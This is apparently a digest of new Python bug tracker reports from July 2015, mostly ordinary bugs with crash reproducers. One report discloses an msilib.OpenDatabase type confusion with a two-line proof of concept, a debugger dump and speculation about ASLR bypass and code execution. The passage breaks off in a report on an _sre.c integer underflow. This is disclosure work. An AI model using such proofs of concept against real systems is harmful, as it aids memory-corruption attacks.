nosy: dhaffey, ezio.melotti, mrabarnett
priority: normal
severity: normal
status: open
title: Wrong or missing exception when compiling regexes with recursive named backreferences
type: behavior

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24580>
_______________________________________

From report at bugs.python.org  Tue Jul  7 10:09:09 2015
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 07 Jul 2015 08:09:09 +0000
Subject: [New-bugs-announce] [issue24581] Crash when a set is changed during
	iteration
Message-ID: <1436256549.64.0.540045021934.issue24581@psf.upfronthosting.co.za>


New submission from Serhiy Storchaka:

Changeset c9782a9ac031 caused segmentation fault when underlying table of the set is reallocated but the number of set elements is kept the same during iteration. Crash reproducer:

s = set(range(100))
s.clear()
s.update(range(100))
si = iter(s)
s.clear()
a = list(range(100))
s.update(range(100))
list(si)

----------
components: Interpreter Core
messages: 246394
nosy: rhettinger, serhiy.storchaka
priority: normal
severity: normal
stage: needs patch
status: open
title: Crash when a set is changed during iteration
type: crash
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24581>
_______________________________________

From report at bugs.python.org  Tue Jul  7 10:38:26 2015
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 07 Jul 2015 08:38:26 +0000
Subject: [New-bugs-announce] [issue24582] Minor branch optimization in set
	implementation
Message-ID: <1436258306.82.0.639469494764.issue24582@psf.upfronthosting.co.za>


New submission from Serhiy Storchaka:

For now multiple set functions call helpers that returns one of three possible values (0, 1, and -1 for error) and then analyze return code in the loop.

    while (...) {
        rv = some_set_operation();
        if (rv < 0) {
            // clean up
            return NULL;
        }
        if (rv) {
            other_set_operation();
        }
        // if (rv == 0) do nothing
    }

If rv is 0 or 1, it is tested two times. If rv is -1 (unlikely), it is tested only once.

It is possible to rewrite testing in other way:

    while (...) {
        rv = some_set_operation();
        if (rv != 0) { // 1 or -1
            if (rv < 0) {
                // clean up
                return NULL;
            }
            other_set_operation();
        }
    }

Now if rv is 0 (common case), it is tested only once, and likely the test jump will be merged with unconditional loop jump.

I have no benchmarking results, but I suppose that such rewritting will generate better machine code.

----------
components: Interpreter Core
files: set_branch_optimizations.patch
keywords: patch
messages: 246395
nosy: rhettinger, serhiy.storchaka
priority: normal
severity: normal
stage: patch review
status: open
title: Minor branch optimization in set implementation
type: enhancement
versions: Python 3.6
Added file: http://bugs.python.org/file39878/set_branch_optimizations.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24582>
_______________________________________

From report at bugs.python.org  Tue Jul  7 13:56:10 2015
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 07 Jul 2015 11:56:10 +0000
Subject: [New-bugs-announce] [issue24583] Crash when source set is changed
	during merging
Message-ID: <1436270170.86.0.264953731396.issue24583@psf.upfronthosting.co.za>


New submission from Serhiy Storchaka:

When the set is not empty and set.update() argument is set that is modified during merging, the crash is caused. Here is a test that reproduces a crash. Only Python 3.5+ is affected.

----------
components: Interpreter Core
files: test_set__merge_and_mutate.patch
keywords: patch
messages: 246403
nosy: rhettinger, serhiy.storchaka
priority: normal
severity: normal
stage: needs patch
status: open
title: Crash when source set is changed during merging
type: crash
versions: Python 3.5, Python 3.6
Added file: http://bugs.python.org/file39881/test_set__merge_and_mutate.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24583>
_______________________________________

From report at bugs.python.org  Tue Jul  7 18:16:20 2015
From: report at bugs.python.org (Steve Dower)
Date: Tue, 07 Jul 2015 16:16:20 +0000
Subject: [New-bugs-announce] [issue24584] Windows installer incorrectly
 detects CRT version on Windows 10
Message-ID: <1436285780.46.0.112014625356.issue24584@psf.upfronthosting.co.za>


New submission from Steve Dower:

The Windows installer attempts to load one of the public facing API sets to detect the current CRT version. However, on Windows 10, these DLLs are not directly loadable.

We should probably just load ucrtbase.dll directly for the version check.

----------
assignee: steve.dower
components: Installation, Windows
messages: 246425
nosy: paul.moore, steve.dower, tim.golden, zach.ware
priority: high
severity: normal
status: open
title: Windows installer incorrectly detects CRT version on Windows 10
type: behavior
versions: Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24584>
_______________________________________

From report at bugs.python.org  Tue Jul  7 18:18:36 2015
From: report at bugs.python.org (Steve Dower)
Date: Tue, 07 Jul 2015 16:18:36 +0000
Subject: [New-bugs-announce] [issue24585] Windows installer does not detect
	existing installs
Message-ID: <1436285916.26.0.0298485642616.issue24585@psf.upfronthosting.co.za>


New submission from Steve Dower:

If you have Python 3.5.0b2 installed and run the Python 3.5.0b3 installer, it will upgrade correctly, but gives no indication that it will remove the old one.

We should default to an upgrade using the same settings as the previous installation when one exists. Users can then hit Customize to change settings if they want, or uninstall the old version to do a clean install.

----------
assignee: steve.dower
components: Installation, Windows
messages: 246426
nosy: paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: Windows installer does not detect existing installs
type: behavior
versions: Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24585>
_______________________________________

From report at bugs.python.org  Tue Jul  7 20:37:25 2015
From: report at bugs.python.org (tomskaczmarek)
Date: Tue, 07 Jul 2015 18:37:25 +0000
Subject: [New-bugs-announce] [issue24586] Operator precedence for 1<-1==0
Message-ID: <1436294245.86.0.0329122042098.issue24586@psf.upfronthosting.co.za>


New submission from tomskaczmarek:

As I understand operator precedence the expression 1<-1==0 ought to evaluate in the following order: 1<-1 evaluates to False (or 0) then False == 0 ought to evaluate yielding True. However, this evaluates to False in my Python 3.4.3 Shell. (1<-1)==0 evaluates to True

----------
components: Interpreter Core
messages: 246439
nosy: tomskaczmarek
priority: normal
severity: normal
status: open
title: Operator precedence for 1<-1==0
versions: Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24586>
_______________________________________

From report at bugs.python.org  Wed Jul  8 03:59:40 2015
From: report at bugs.python.org (Eugene K.)
Date: Wed, 08 Jul 2015 01:59:40 +0000
Subject: [New-bugs-announce] [issue24587] Incorrect tkinter behavior of
	slave widgets of Button
Message-ID: <1436320780.82.0.239534130411.issue24587@psf.upfronthosting.co.za>


New submission from Eugene K.:

I've encountered this while trying to write a program that allowed the user to edit button labels, by creating an Entry widget on top of the  Button, and then hiding the Button. 

Sample code:

http://pastebin.com/WvBbLsNj

According to feedback from stackoverflow, it works as intended on MacOS and Debian. It does not work in Windows (I've tried Windows 7, 8, and Server 2012 R2, with Python versions 2.7.5 to 2.7.9.)

The problem is that the button does not want to stay hidden. E.g. I create an Entry widget and it initially appears on top of the Button. Then, if I click inside the entry box, it briefly disappears (for a second or two), showing the button again, and then reappears. If I hit 'tab' and move focus out of the Entry, it disappears completely (exposing the button again) and only reappears when I click back into the entry/button area.

----------
components: Tkinter
messages: 246445
nosy: Eugene K.
priority: normal
severity: normal
status: open
title: Incorrect tkinter behavior of slave widgets of Button
type: behavior
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24587>
_______________________________________

From report at bugs.python.org  Wed Jul  8 07:35:53 2015
From: report at bugs.python.org (Bhupesh Rathod)
Date: Wed, 08 Jul 2015 05:35:53 +0000
Subject: [New-bugs-announce] [issue24588] Unable to pass argument to python
 script from Java program
Message-ID: <1436333753.46.0.248622877126.issue24588@psf.upfronthosting.co.za>


New submission from Bhupesh Rathod:

I have following java method
It makes call to python scripts
I am unable to pass arguments using "engine.put(ScriptEngine.ARGV, strArg);"

I have JDK 8 on windows system

code as follows
/****************************************************/
public static void execute()
	{
		StringWriter writer = new StringWriter(); //to store output

	    ScriptEngineManager manager = new ScriptEngineManager();
	    ScriptContext context = new SimpleScriptContext(); 

	    context.setWriter(writer); //configures output redirection
	    
	    ScriptEngine engine = manager.getEngineByName("python");
	    
	    String strPath = "C:\\Bhupesh\\Data\\script";
	    try {
	    	Reader reader = new FileReader(strPath+"\\"+"numbers.py");
			
			String[] strArg = {"1", "78"};			
			engine.put(ScriptEngine.ARGV, strArg);
			engine.eval(reader, context);
			reader.close();			
		} catch (ScriptException | IOException e) {
			// TODO Auto-generated catch block
			e.printStackTrace();
		}
	}

----------
messages: 246449
nosy: Bhupesh Rathod
priority: normal
severity: normal
status: open
title: Unable to pass argument to python script from Java program

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24588>
_______________________________________

From report at bugs.python.org  Wed Jul  8 10:01:16 2015
From: report at bugs.python.org (Jos Dechamps)
Date: Wed, 08 Jul 2015 08:01:16 +0000
Subject: [New-bugs-announce] [issue24589] Wrong behavior for list of lists
Message-ID: <1436342476.49.0.0477320151656.issue24589@psf.upfronthosting.co.za>


New submission from Jos Dechamps:

After creating a list of lists, changing one element, leads to changes of all the elements:

>>> v=[[]]*10
>>> v
[[], [], [], [], [], [], [], [], [], []]
>>> v[3].append(3)
>>> v
[[3], [3], [3], [3], [3], [3], [3], [3], [3], [3]]
>>> 
>>> v=[[]]*10
>>> v
[[], [], [], [], [], [], [], [], [], []]
>>> v[3] += [3]
>>> v
[[3], [3], [3], [3], [3], [3], [3], [3], [3], [3]]
>>>

----------
components: Interpreter Core
messages: 246450
nosy: dechamps
priority: normal
severity: normal
status: open
title: Wrong behavior for list of lists
type: behavior
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24589>
_______________________________________

From report at bugs.python.org  Wed Jul  8 11:07:22 2015
From: report at bugs.python.org (Zorceta)
Date: Wed, 08 Jul 2015 09:07:22 +0000
Subject: [New-bugs-announce] [issue24590] Customized attribute access causes
	infinite loop
Message-ID: <1436346442.55.0.773620988633.issue24590@psf.upfronthosting.co.za>


New submission from Zorceta:

Code and result:

```
>>> class A:
	def __init__(self):
		self.data = {'a': 1, 'b': 2, 'c': 3}
	def __getattr__(self, name):
		print('in __getattr__, getting %s' % name)
		if name in self.data:
			return self.data[name]
		else:
			raise AttributeError
	def __setattr__(self, name, value):
		print('in __setattr__, setting %s to %s' % (name, value))
		if name in self.data:
			self.data[name] = value
		else:
			self.__class__.__setattr__(self, name, value)

			
>>> a = A()
in __setattr__, setting data to {'a': 1, 'b': 2, 'c': 3}
in __getattr__, getting data
in __getattr__, getting data
in __getattr__, getting data
......
```

>From above you can see it stuck on

>>> if name in self.data:

in `__setattr__`.

But, the result indicates that `__setattr__` uses `__getattr__` to read the `data` attribute, which is against docs:

"Note that if the attribute is found through the normal mechanism, __getattr__() is not called."

If it acts as described, `data` should be read "through the normal mechanism", not through `__getattr__`.

----------
messages: 246453
nosy: zorceta
priority: normal
severity: normal
status: open
title: Customized attribute access causes infinite loop
type: behavior
versions: Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24590>
_______________________________________

From report at bugs.python.org  Wed Jul  8 17:33:18 2015
From: report at bugs.python.org (alanf)
Date: Wed, 08 Jul 2015 15:33:18 +0000
Subject: [New-bugs-announce] [issue24591] offer option to suppress "clean
 --all" output relating to nonexistent dirs
Message-ID: <1436369598.14.0.821351953958.issue24591@psf.upfronthosting.co.za>


New submission from alanf:

The command "setup.py clean --all" writes out information about nonexistent directories that the script tried to clean but couldn't find. Example:

'build/bdist.linux-x86_64' does not exist -- can't clean it
'build/scripts-2.7' does not exist -- can't clean it

It would be better to suppress this output, or at least offer an option for suppressing it. This information serves no purpose to the user, except possibly to make him or her unnecessarily worried. (I know at least three developers on my team who wondered whether these lines indicated a problem when they tested our setup.py, which performs the equivalent of "clean --all" whenever "build" is run.) It's perfectly normal for these directories not to exist. The chance that you would have every possible such directory is close to zero.

There is a "quiet" option, but that's not what I want to use, since the other output issued by the command (that is, the removal of real directories) is informative.

----------
components: Distutils
messages: 246458
nosy: alanf, dstufft, eric.araujo
priority: normal
severity: normal
status: open
title: offer option to suppress "clean --all" output relating to nonexistent dirs
type: enhancement

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24591>
_______________________________________

From report at bugs.python.org  Wed Jul  8 18:03:01 2015
From: report at bugs.python.org (arthur)
Date: Wed, 08 Jul 2015 16:03:01 +0000
Subject: [New-bugs-announce] [issue24592] global var defined in module not
	returned by function
Message-ID: <1436371381.4.0.964626376245.issue24592@psf.upfronthosting.co.za>


New submission from arthur:

defined global var, glob.myVar, in separated module
imported module containing glob.myVar

in function1, func1():
glob.myVar = ""
func1Var = func2()

in function2, func2():
if (...):
glob.myVar+= "abc" 
func2() # call func2() again - recursive
else:
return glob.myVar

I always find:
func1Var is None = True

An obvious workaround is
func1Var = glob.myVar
which is fine

----------
components: Windows
messages: 246460
nosy: arthur, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: global var defined in module not returned by function
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24592>
_______________________________________

From report at bugs.python.org  Wed Jul  8 20:32:05 2015
From: report at bugs.python.org (Emanuel Barry)
Date: Wed, 08 Jul 2015 18:32:05 +0000
Subject: [New-bugs-announce] [issue24593] [3.5.0b3] stdlib on Windows
	mismatches compiled version
Message-ID: <1436380325.59.0.242963280034.issue24593@psf.upfronthosting.co.za>


New submission from Emanuel Barry:

On Windows and with the pre-compiled stdlib, the 'collections/__init__.py' file doesn't match the compiled one, as hinted by the presence of OrderedDict, even though it is now part of _collections. The interpreter works just as intended since it uses the pre-compiled versions, but the file is misleading.

There could be more files like this, but I haven't checked much.

----------
components: Library (Lib)
messages: 246462
nosy: ebarry
priority: normal
severity: normal
status: open
title: [3.5.0b3] stdlib on Windows mismatches compiled version
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24593>
_______________________________________

From report at bugs.python.org  Thu Jul  9 01:26:41 2015
From: report at bugs.python.org (JohnLeitch)
Date: Wed, 08 Jul 2015 23:26:41 +0000
Subject: [New-bugs-announce] [issue24594] msilib.OpenDatabase Type Confusion
Message-ID: <1436398001.58.0.629025200144.issue24594@psf.upfronthosting.co.za>


New submission from JohnLeitch:

The msilib.OpenDatabase method suffers from a type confusion vulnerability caused by the behavior of MsiOpenDatabase(), the underlying win32 function utilized. This is due to the unorthodox handling of the szPersist parameter: when an MSIDBOPEN_* value is passed, it is treated as a predefined persistence mode. However, when a larger value is passed, it is treated as a string pointer, which is used as the path to a new file.

Because the Python method msilib.OpenDatabase passes its persist parameter through to MsiOpenDatabase, it may be possible for an attacker to trigger the type confusion bug should the seemingly innocuous persist parameter be exposed as attack surface. This could have a few consequences: 

1) An attacker might be able to leverage this vulnerability to probe for valid addresses, which could then be used in another exploit to bypass ASLR/DEP.
2) An attacker might be able to leverage this vulnerability to dereference aribtrary values in memory, disclosing secrets. 
3) An attacker may be able to spray memory with specially crafted string values, then leverage this vulnerability to pass one of the values as a persist string. Because this would lead to the creation of an MSI file in a location now controlled by the attacker, it could potentially be exploited to achieve remote code execution.

A Python script that demonstrates the vulnerability is as follows:

import msilib
msilib.OpenDatabase("",0x41414141)

And it produces the following exception:

0:000> r
eax=41414141 ebx=00000000 ecx=0027f8c0 edx=41414142 esi=0027f8c0 edi=00000000
eip=757252aa esp=0027f874 ebp=0027f89c iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
KERNELBASE!lstrlenA+0x1a:
757252aa 8a08            mov     cl,byte ptr [eax]          ds:002b:41414141=??
0:000> !analyze -v -nodb
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************


FAULTING_IP: 
KERNELBASE!lstrlenA+1a
757252aa 8a08            mov     cl,byte ptr [eax]

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 757252aa (KERNELBASE!lstrlenA+0x0000001a)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 41414141
Attempt to read from address 41414141

CONTEXT:  00000000 -- (.cxr 0x0;r)
eax=41414141 ebx=00000000 ecx=0027f8c0 edx=41414142 esi=0027f8c0 edi=00000000
eip=757252aa esp=0027f874 ebp=0027f89c iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
KERNELBASE!lstrlenA+0x1a:
757252aa 8a08            mov     cl,byte ptr [eax]          ds:002b:41414141=??

FAULTING_THREAD:  00000d38

PROCESS_NAME:  python.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000000

EXCEPTION_PARAMETER2:  41414141

READ_ADDRESS:  41414141 

FOLLOWUP_IP: 
msi!CApiConvertString::operator unsigned short const *+1b1d
622e1fa1 40              inc     eax

NTGLOBALFLAG:  70

APPLICATION_VERIFIER_FLAGS:  0

APP:  python.exe

ANALYSIS_VERSION: 6.3.9600.17029 (debuggers(dbg).140219-1702) x86fre

BUGCHECK_STR:  APPLICATION_FAULT_INVALID_POINTER_READ_FILL_PATTERN_41414141

PRIMARY_PROBLEM_CLASS:  INVALID_POINTER_READ_FILL_PATTERN_41414141

DEFAULT_BUCKET_ID:  INVALID_POINTER_READ_FILL_PATTERN_41414141

LAST_CONTROL_TRANSFER:  from 622e1fa1 to 757252aa

STACK_TEXT:  
0027f89c 622e1fa1 41414141 41414141 623e22d0 KERNELBASE!lstrlenA+0x1a
0027fcfc 1d162217 01c54334 41414141 0027fd10 msi!CApiConvertString::operator unsigned short const *+0x1b1d
0027fd18 1e0aafd7 00000000 01d86940 01d7ea08 _msi!msiopendb+0x37
0027fd30 1e0edd10 01d7ea08 01d86940 00000000 python27!PyCFunction_Call+0x47
0027fd5c 1e0f017a 0027fdb4 01c86b18 01c86b18 python27!call_function+0x2b0
0027fdcc 1e0f1150 01cb4030 00000000 01c86b18 python27!PyEval_EvalFrameEx+0x239a
0027fe00 1e0f11b2 01c86b18 01cb4030 01c8aa50 python27!PyEval_EvalCodeEx+0x690
0027fe2c 1e11707a 01c86b18 01c8aa50 01c8aa50 python27!PyEval_EvalCode+0x22
0027fe44 1e1181c5 01d43a20 01c8aa50 01c8aa50 python27!run_mod+0x2a
0027fe64 1e118760 68e87408 003f2e93 00000101 python27!PyRun_FileExFlags+0x75
0027fea4 1e1190d9 68e87408 003f2e93 00000001 python27!PyRun_SimpleFileExFlags+0x190
0027fec0 1e038d35 68e87408 003f2e93 00000001 python27!PyRun_AnyFileExFlags+0x59
0027ff3c 1d00116d 00000002 003f2e70 003f1940 python27!Py_Main+0x965
0027ff80 75847c04 7ffde000 75847be0 0c2f39c0 python!__tmainCRTStartup+0x10f
0027ff94 77c9b90f 7ffde000 0e681648 00000000 KERNEL32!BaseThreadInitThunk+0x24
0027ffdc 77c9b8da ffffffff 77c806e0 00000000 ntdll!__RtlUserThreadStart+0x2f
0027ffec 00000000 1d001314 7ffde000 00000000 ntdll!_RtlUserThreadStart+0x1b


STACK_COMMAND:  .cxr 0x0 ; kb

SYMBOL_STACK_INDEX:  1

SYMBOL_NAME:  msi!CApiConvertString::operator unsigned short const *+1b1d

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: msi

IMAGE_NAME:  msi.dll

DEBUG_FLR_IMAGE_TIMESTAMP:  5450468f

FAILURE_BUCKET_ID:  INVALID_POINTER_READ_FILL_PATTERN_41414141_c0000005_msi.dll!CApiConvertString::operator_unsigned_short_const_*

BUCKET_ID:  APPLICATION_FAULT_INVALID_POINTER_READ_FILL_PATTERN_41414141_msi!CApiConvertString::operator_unsigned_short_const_*+1b1d

ANALYSIS_SOURCE:  UM

FAILURE_ID_HASH_STRING:  um:invalid_pointer_read_fill_pattern_41414141_c0000005_msi.dll!capiconvertstring::operator_unsigned_short_const_*

FAILURE_ID_HASH:  {11693fba-32c4-0880-2440-574cbd780159}

Followup: MachineOwner
---------

To fix the issue, msiopendb() should perform whitelist validation of the persist value to confirm that it is a valid MSIDBOPEN_* constant. A proposed patch is attached.

----------
components: Library (Lib)
files: _msi.patch
keywords: patch
messages: 246474
nosy: JohnLeitch
priority: normal
severity: normal
status: open
title: msilib.OpenDatabase Type Confusion
type: security
Added file: http://bugs.python.org/file39885/_msi.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24594>
_______________________________________

From report at bugs.python.org  Thu Jul  9 15:00:12 2015
From: report at bugs.python.org (Anton Astafiev)
Date: Thu, 09 Jul 2015 13:00:12 +0000
Subject: [New-bugs-announce] [issue24595] InteractiveInterpreter always
	prints to stdout
Message-ID: <1436446812.02.0.787958220284.issue24595@psf.upfronthosting.co.za>


New submission from Anton Astafiev:

I have a use-case when I need to forward InteractiveConsole through Unix/TCP socket. Expected implementation:

class InteractiveSocket(InteractiveConsole):
  def __init__(self, socket):
    self._socket = socket
    ...

  def raw_input(...):
    # read from socket

  def write(...):
    # write to socket

However, only syntax errors and tracebacks are written into a socket, while actual output still appears on servers stdout. Digging through it I realized, that the output happens inside exec call in InteractiveInterpreter.runcode and here is why:

>>> c=compile('42', '', 'single')
>>> dis.dis(c)
<<< 1           0 LOAD_CONST               0 (42)
                3 PRINT_EXPR          
                4 LOAD_CONST               1 (None)
                7 RETURN_VALUE

where PRINT_EXPR uses _Py_IDENTIFIER(displayhook);

I ended up with the following dirty hack in my derived class:

def runcode(self, code):
  class OutWriter:
    pass
  writer = OutWriter()
  writer.write = self.write
  old = sys.stdout
  sys.stdout = writer
  try:
    exec(code, self.locals)
  except SystemExit:
    raise
  except:
    self.showtraceback()
  sys.stdout = old

I think it would be nice to make InteractiveInterpreter extendable out of the box, though I don't have exact solution here.

----------
components: Library (Lib)
messages: 246487
nosy: Anton Astafiev
priority: normal
severity: normal
status: open
title: InteractiveInterpreter always prints to stdout
type: behavior

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24595>
_______________________________________

From report at bugs.python.org  Thu Jul  9 15:31:32 2015
From: report at bugs.python.org (Petr Viktorin)
Date: Thu, 09 Jul 2015 13:31:32 +0000
Subject: [New-bugs-announce] [issue24596] Script globals in a GC cycle not
 finalized when exiting with SystemExit
Message-ID: <1436448692.77.0.0262276090845.issue24596@psf.upfronthosting.co.za>


New submission from Petr Viktorin:

When this program is invoked as a script (`python reproducer.py`), the __del__ is never called:

---

class ClassWithDel:
    def __del__(self):
        print('__del__ called')

a = ClassWithDel()
a.link = a

raise SystemExit(0)

---


Raising a different exception, moving the code to a function, importing the module, or invoking with -m (or even -c), causes __del__ to be called normally.

----------
components: Interpreter Core
messages: 246491
nosy: encukou
priority: normal
severity: normal
status: open
title: Script globals in a GC cycle not finalized when exiting with SystemExit
versions: Python 3.4, Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24596>
_______________________________________

From report at bugs.python.org  Thu Jul  9 15:41:12 2015
From: report at bugs.python.org (Antoine Pitrou)
Date: Thu, 09 Jul 2015 13:41:12 +0000
Subject: [New-bugs-announce] [issue24597] forbid redefinition of
	specializations in singledispatch
Message-ID: <1436449272.49.0.843794258637.issue24597@psf.upfronthosting.co.za>


New submission from Antoine Pitrou:

singledispatch currently doesn't defend against unwanted redefinition of an existing specialization, e.g.:

>>> def f(x): return "default"
... 
>>> f = functools.singledispatch(f)
>>> @f.register(int)
... def _(x): return "1"
... 
>>> @f.register(int)
... def _(x): return "2"
... 
>>> f(42)
'2'

This can be annoying when used as an extension mechanism. It would be nice if at least an option in the singledispatch() constructor could prevent this.

----------
components: Library (Lib)
messages: 246493
nosy: lukasz.langa, ncoghlan, pitrou, rhettinger
priority: normal
severity: normal
status: open
title: forbid redefinition of specializations in singledispatch
type: enhancement
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24597>
_______________________________________

From report at bugs.python.org  Thu Jul  9 16:04:05 2015
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 09 Jul 2015 14:04:05 +0000
Subject: [New-bugs-announce] [issue24598] asyncio: add background task
	detecting reference cycles
Message-ID: <1436450645.37.0.566562867718.issue24598@psf.upfronthosting.co.za>


New submission from STINNER Victor:

When storing an exception in an asyncio Future object, there is a high risk of creating a reference cycle. In Python 3, exception objects store a traceback object which store frame objects. The problem is that a frame can also have a reference to the exception: we have a reference cycle (exception -> traceback -> frame -> same exception).

In debug mode, Future.set_exception() can schedule a task (ex: using loop.call_soon) to check that there is no reference cycle.

See also the issue #23587: "asyncio: use the new traceback.TracebackException class".

----------
components: asyncio
messages: 246499
nosy: gvanrossum, haypo, yselivanov
priority: normal
severity: normal
status: open
title: asyncio: add background task detecting reference cycles
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24598>
_______________________________________

From report at bugs.python.org  Thu Jul  9 20:14:15 2015
From: report at bugs.python.org (Stefano Mazzucco)
Date: Thu, 09 Jul 2015 18:14:15 +0000
Subject: [New-bugs-announce] [issue24599] urllib URLopener().open https url
 returns 501 Not Implemented when https_proxy env var is http://
Message-ID: <1436465655.95.0.514799824016.issue24599@psf.upfronthosting.co.za>


New submission from Stefano Mazzucco:

Hello,

at work, I am behind a proxy (squid) that is only available over http. So, I have to configure both the http_proxy and https_proxy environment variables to be something like "http://proxy.corp.com:8181"

Now, when I try and use urllib to open an "https" url, the proxy returns "501 Not Implemented".


The quick and dirty script below is a minimal demonstration of the problem that appears on both python 2.7 (tested on 2.7.6, 2.7.9, 2.7.10) and 3.4 (tested on 3.4.0 and 3.4.4)

try:
    import urllib
    opener = urllib.URLopener()
except AttributeError:
    # Python 3
    import urllib.request
    opener = urllib.request.URLopener()

url = 'https://www.python.org'

print("Trying to open", url)

opener.open(url)


Changing the url to "http://" works OK.

Thanks,

-- Stefano

----------
components: Library (Lib)
messages: 246515
nosy: stefano-m
priority: normal
severity: normal
status: open
title: urllib URLopener().open  https url returns 501 Not Implemented when https_proxy env var is http://
type: behavior
versions: Python 2.7, Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24599>
_______________________________________

From report at bugs.python.org  Thu Jul  9 22:30:21 2015
From: report at bugs.python.org (=?utf-8?q?Gr=C3=A9gory_Starck?=)
Date: Thu, 09 Jul 2015 20:30:21 +0000
Subject: [New-bugs-announce] [issue24600] function(**dict) does not accept
 comma after dict (inside parenthese)
Message-ID: <1436473821.03.0.320210782017.issue24600@psf.upfronthosting.co.za>


New submission from Gr?gory Starck:

Consider following:

Python 3.4.0 (default, Jun 19 2015, 14:20:21) 
[GCC 4.8.2] on linux

>>> def f(**kw): pass

>>> f(a=1 , )
>>> # ok

>>> f(**{'a': 1} )
>>> # ok

>>> # but :

>>> f(**{'a': 1} , )
SyntaxError: invalid syntax
>>> 

shouldn't the last form be also allowed as is the first one ??

if it is: Could I personnaly handle this fix ? I'd be very proud to bring (even such a low impact problem) my own stone to Python :)

Kind regards.

----------
messages: 246525
nosy: g.starck at gmail.com
priority: normal
severity: normal
status: open
title: function(**dict) does not accept comma after dict (inside parenthese)
versions: Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24600>
_______________________________________

From report at bugs.python.org  Fri Jul 10 04:18:33 2015
From: report at bugs.python.org (Gregory P. Smith)
Date: Fri, 10 Jul 2015 02:18:33 +0000
Subject: [New-bugs-announce] [issue24601] bytes and unicode splitlines()
 methods differ on what is a line break
Message-ID: <1436494713.33.0.435726120833.issue24601@psf.upfronthosting.co.za>


New submission from Gregory P. Smith:

for bytes, \v (0x0b) is not considered a line break.  for unicode, it is.

this traces back to the Objects/stringlib/ code where unicode defers to the decision made by Objects/unicodeobject.c's ascii_linebreak table which contains 7 line breaks in the 0..127 character range:

static unsigned char ascii_linebreak[] = {
    0, 0, 0, 0, 0, 0, 0, 0,
/*         0x000A, * LINE FEED */
/*         0x000B, * LINE TABULATION */
/*         0x000C, * FORM FEED */
/*         0x000D, * CARRIAGE RETURN */
    0, 0, 1, 1, 1, 1, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0,
/*         0x001C, * FILE SEPARATOR */
/*         0x001D, * GROUP SEPARATOR */
/*         0x001E, * RECORD SEPARATOR */
    0, 0, 0, 0, 1, 1, 1, 0,


Whereas Objects/stringlib/stringdefs.h used by only considers \r and \n.

I think these should be consistent.  But making this change likely breaks existing code in weird ways.

This does come up when porting from 2 to 3 as a str '' type with one of those other characters in it was not broken by splitlines in 2.x but is broken by splitlines in 3.x.

----------
messages: 246538
nosy: gregory.p.smith
priority: normal
severity: normal
status: open
title: bytes and unicode splitlines() methods differ on what is a line break

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24601>
_______________________________________

From report at bugs.python.org  Fri Jul 10 05:12:53 2015
From: report at bugs.python.org (JohnLeitch)
Date: Fri, 10 Jul 2015 03:12:53 +0000
Subject: [New-bugs-announce] [issue24602] SRE_SEARCH Integer Underflow
Message-ID: <1436497973.12.0.81933563226.issue24602@psf.upfronthosting.co.za>


New submission from JohnLeitch:

The Python 2.7 regular expression module suffers from an integer underflow in the SRE_SEARCH function of _sre.c, which leads to a buffer over-read condition. The issue is caused by unchecked subtraction performed while handling SR_OP_INFO blocks:

    if (pattern[0] == SRE_OP_INFO) {
        /* optimization info block */
        /* <INFO> <1=skip> <2=flags> <3=min> <4=max> <5=prefix info>  */

        flags = pattern[2];

        if (pattern[3] > 1) {
            /* adjust end point (but make sure we leave at least one
               character in there, so literal search will work) */
            end -= pattern[3]-1; <<<< Pattern[3] is a potentially untrusted value
                                      controllable via regex.
